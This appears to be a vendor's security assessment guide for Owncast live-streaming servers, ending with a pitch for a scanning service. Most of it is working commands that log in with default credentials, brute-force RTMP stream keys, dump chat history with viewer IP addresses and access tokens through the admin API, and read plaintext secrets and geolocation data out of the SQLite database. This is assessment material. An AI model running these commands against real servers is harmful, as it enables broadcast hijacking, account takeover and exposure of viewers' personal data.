Owncast is a widely deployed self-hosted live streaming platform used as an open-source alternative to Twitch and YouTube Live — organizations use it for conferences, community events, and private broadcasts. Key assessment areas: admin/abc123 are the documented default admin credentials; the RTMP stream key (also defaulting to abc123) controls who can publish video to the server; access tokens enable API automation; the admin panel exposes all chat messages with viewer IP addresses; and the SQLite database stores the complete chat history and viewer geolocation data. This guide covers systematic Owncast security assessment.
# Owncast — default credentials and stream key testing
OWNCAST_URL="https://owncast.example.com"
# Test documented default admin credentials
# Owncast ships with admin/abc123 on fresh install
curl -s -X POST "${OWNCAST_URL}/api/admin/auth" \
-H "Content-Type: application/json" \
-d '{"password":"abc123"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('success'):
print('CRITICAL: admin/abc123 default password CONFIRMED')
print(f' Server version: {d.get(\"version\",\"\")}')
else:
print(f'Default: FAIL ({d})')
" 2>/dev/null
# Test common default stream keys
# The RTMP stream key allows broadcasting to the server
# Default stream key is also 'abc123' on fresh Owncast installs
for KEY in "abc123" "live" "stream" "secret" "password" "owncast"; do
# Test by attempting RTMP connection (requires ffmpeg)
echo "Testing stream key: ${KEY}"
timeout 3 ffmpeg -re -f lavfi -i testsrc=size=640x480:rate=30 \
-f flv "rtmp://${OWNCAST_URL%%:*}:1935/live/${KEY}" 2>&1 | \
grep -i "Connection\|refused\|error\|success" | head -2
done 2>/dev/null
# Get server configuration (includes stream key if admin authenticated)
curl -s -X GET "${OWNCAST_URL}/api/admin/config" \
-H "Authorization: Basic $(echo -n 'admin:abc123' | base64)" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Instance title: {d.get(\"instanceDetails\",{}).get(\"name\",\"\")}')
print(f'Stream key: {d.get(\"streamKey\",\"HIDDEN\")}')
print(f'Tags: {d.get(\"instanceDetails\",{}).get(\"tags\",[])}')
print(f'Latency: {d.get(\"latencyLevel\")}')
print(f'Social handles: {d.get(\"instanceDetails\",{}).get(\"socialHandles\",[])}')
" 2>/dev/null
# Owncast admin API — chat and viewer data enumeration
OWNCAST_URL="https://owncast.example.com"
ADMIN_PASS="abc123"
# Get all chat messages
curl -s "${OWNCAST_URL}/api/admin/chat/messages?limit=500" \
-H "Authorization: Basic $(echo -n "admin:${ADMIN_PASS}" | base64)" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
messages = d if isinstance(d,list) else d.get('messages',[])
print(f'Chat messages: {len(messages)}')
for m in messages[:10]:
print(f' [{str(m.get(\"timestamp\",\"\"))[:19]}] {m.get(\"user\",{}).get(\"displayName\",\"\")} ({m.get(\"user\",{}).get(\"ipAddress\",\"\")}): {str(m.get(\"body\",\"\"))[:80]}')
" 2>/dev/null
# Messages include viewer IP addresses — personally identifiable information
# Get current viewers
curl -s "${OWNCAST_URL}/api/admin/viewers" \
-H "Authorization: Basic $(echo -n "admin:${ADMIN_PASS}" | base64)" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
viewers = d if isinstance(d,list) else d.get('viewers',[])
print(f'Current viewers: {len(viewers)}')
for v in viewers[:10]:
print(f' IP={v.get(\"ipAddress\",\"\")} geo={v.get(\"geo\",{}).get(\"countryCode\",\"\")} ua={str(v.get(\"userAgent\",\"\"))[:60]}')
" 2>/dev/null
# Get access tokens (API automation keys)
curl -s "${OWNCAST_URL}/api/admin/accesstokens" \
-H "Authorization: Basic $(echo -n "admin:${ADMIN_PASS}" | base64)" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tokens = d if isinstance(d,list) else d.get('tokens',[])
print(f'Access tokens: {len(tokens)}')
for t in tokens[:10]:
print(f' [{t.get(\"token\",\"\")[:20]}...] name={t.get(\"name\")} scopes={t.get(\"scopes\")} created={str(t.get(\"createdAt\",\"\"))[:10]}')
" 2>/dev/null
# Owncast SQLite database and access token extraction
# Owncast stores all data in a single SQLite file (default: data/owncast.db)
find /opt/owncast /home /app . -name "owncast.db" 2>/dev/null | head -5
DB_PATH="/opt/owncast/data/owncast.db"
# All access tokens
sqlite3 "$DB_PATH" << 'EOF'
SELECT token, display_name, scopes, last_used
FROM access_tokens
ORDER BY last_used DESC;
EOF
-- All chat messages with user data
sqlite3 "$DB_PATH" << 'EOF'
SELECT m.id, m.timestamp,
m.body,
u.display_name, u.ip_address,
u.geo
FROM messages m
JOIN users u ON m.user_id = u.id
ORDER BY m.timestamp DESC
LIMIT 30;
EOF
-- body: full chat message text
-- ip_address: viewer IP address stored per-chat-user
-- geo: geolocation JSON (city, country, lat/lng)
-- Chat user enumeration
sqlite3 "$DB_PATH" << 'EOF'
SELECT u.id, u.display_name,
u.ip_address, u.geo,
u.created_at, u.last_seen,
u.previous_names
FROM users u
ORDER BY u.last_seen DESC
LIMIT 20;
EOF
-- Server configuration (includes stream key)
sqlite3 "$DB_PATH" << 'EOF'
SELECT key, value
FROM configuration
WHERE key IN ('stream_key','server_name','admin_password_hash','federation_enabled');
EOF
-- stream_key: RTMP ingest key stored in plaintext
| Security Test | Method | Risk |
|---|---|---|
| Default admin/abc123 credential access | POST /api/admin/auth with password=abc123 — documented default; full admin API access including stream key retrieval, chat history, viewer IPs, and access token management; enables RTMP stream hijacking via stream key disclosure | Critical |
| Default RTMP stream key abc123 broadcast hijacking | RTMP connect rtmp://{host}:1935/live/abc123 — if stream key unchanged, anyone can broadcast video to the server; replaces legitimate stream with unauthorized content delivered to all viewers | Critical |
| SQLite configuration table stream key extraction | SELECT value FROM configuration WHERE key='stream_key' — stream key stored in plaintext; filesystem access to owncast.db reveals stream key without admin credentials | High |
| Admin API chat history and viewer IP extraction | GET /api/admin/chat/messages — complete chat log with viewer IP addresses and geolocation; personal data exposure; real-time viewer tracking via /api/admin/viewers | High |
| SQLite access_tokens table extraction | SELECT token FROM access_tokens — plaintext API access tokens; enables all token-authorized operations (chat moderation, viewer data) without admin password | High |
Ironimo tests Owncast deployments for default admin/abc123 credential access, default RTMP stream key abc123 broadcast hijacking assessment, SQLite configuration table stream key plaintext extraction, admin API chat history and viewer IP address enumeration, access token SQLite extraction, RTMP port 1935 accessibility testing, admin panel HTTP Basic Auth strength assessment, geolocation data exposure in viewer records, access token scope privilege analysis, and SQLite database file permission auditing.
Start free scan